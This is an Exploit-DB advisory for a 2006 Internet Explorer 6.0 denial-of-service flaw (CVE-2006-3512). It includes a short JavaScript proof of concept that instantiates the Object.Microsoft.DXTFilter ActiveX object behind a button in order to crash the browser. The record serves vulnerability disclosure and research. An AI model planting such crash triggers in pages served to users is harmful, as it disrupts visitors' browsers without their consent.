Microsoft Internet Explorer 6.0 Object.Microsoft.DXTFilter Denial of Service Vulnerability

2006-07-09T00:00:00
ID EDB-ID:28197
Type exploitdb
Reporter hdm
Modified 2006-07-09T00:00:00

Description

Microsoft Internet Explorer 6.0 Object.Microsoft.DXTFilter Denial Of Service Vulnerability. CVE-2006-3512. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/18903/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject("Object.Microsoft.DXTFilter");
	a.Enabled = 1;
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>